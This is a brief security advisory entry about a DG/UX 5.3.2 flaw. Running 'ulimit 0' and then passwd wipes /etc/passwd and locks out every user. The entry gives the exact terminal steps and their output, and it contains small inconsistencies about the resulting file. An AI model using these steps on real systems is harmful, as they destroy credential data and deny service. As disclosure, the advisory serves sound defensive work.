## DG/UX Ulimit Vulnerability

### Risk Factor: 10

### Machines Affected:

DG/UX 5.3.2 and possibly previous versions as well (?)

### Description:

This denial of service attack zeros out the /etc/passwd file. It works like so:

    /~target> ls -la /etc/passwd

         -rw-rw-r--     root     root     24 Feb 1995    /etc/passwd

    /~target> ulimit 0
    /~target> passwd

         Enter old password:
         Enter new password:

    /~target> ls -la /etc/passwd

         -rw-rw-r--     root     root     11 June 01:34  /etc/passwd

Calling ulimit 0 and then calling /etc/passwd will then set the passwd file to all zeros.

### Consequences:

Service is denied to everyone until the machine is booted up in single user mode and a copy of the passwd file is restored.

### Fix:

Ask your vendor for a patch

Links for advisories/more info